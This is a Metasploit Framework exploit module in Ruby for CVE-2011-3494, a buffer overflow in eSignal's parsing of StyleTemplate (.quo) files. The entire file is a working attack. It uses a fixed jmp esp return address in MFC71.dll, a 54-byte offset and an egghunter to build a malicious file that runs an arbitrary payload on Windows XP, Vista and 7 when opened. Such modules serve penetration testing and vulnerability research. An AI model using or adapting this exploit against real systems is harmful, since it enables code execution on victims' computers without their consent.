98 lines
2.8 KiB
Ruby
98 lines
2.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'eSignal and eSignal Pro <= 10.6.2425.1208 file parsing buffer overflow in QUO',
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'Description' => %q{
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The software is unable to handle the "<StyleTemplate>" files (even
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those original included in the program) like those with the registered
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extensions QUO, SUM and POR. Successful exploitation of this vulnerability
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may take up to several seconds due to the use of egghunter. Also, DEP
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bypass is unlikely due to the limited space for payload.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma', # Original discovery
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'TecR0c <tecr0c[at]tecninja.net>', # msf
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'mr_me <steventhomasseeley[at]gmai.com>', # msf
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],
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'References' =>
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[
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[ 'CVE', '2011-3494' ],
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[ 'OSVDB', '75456' ],
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[ 'BID', '49600' ],
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[ 'URL', 'http://aluigi.altervista.org/adv/esignal_1-adv.txt' ],
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[ 'EDB', '17837' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00"
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},
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'Targets' =>
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[
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[
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'Win XP SP3 / Windows Vista / Windows 7',
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{
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'Ret' => 0x7c206fef, # jmp esp MFC71.dll v10.6.2425.1208
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'Offset' => 54
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Sep 06 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.quo']),
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], self.class)
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end
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def exploit
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eggoptions =
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{
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:checksum => false,
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:eggtag => 'eggz'
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}
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hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
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buffer = rand_text_alpha(target['Offset'])
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buffer << [target.ret].pack('V')
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buffer << rand_text_alpha_upper(4)
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buffer << hunter
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buffer << rand_text_alpha_upper(1500)
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buffer << egg
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file = "<StyleTemplate>\r\n"
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file << "#{buffer}\r\n"
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file << "</StyleTemplate>\r\n"
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(file)
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end
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end
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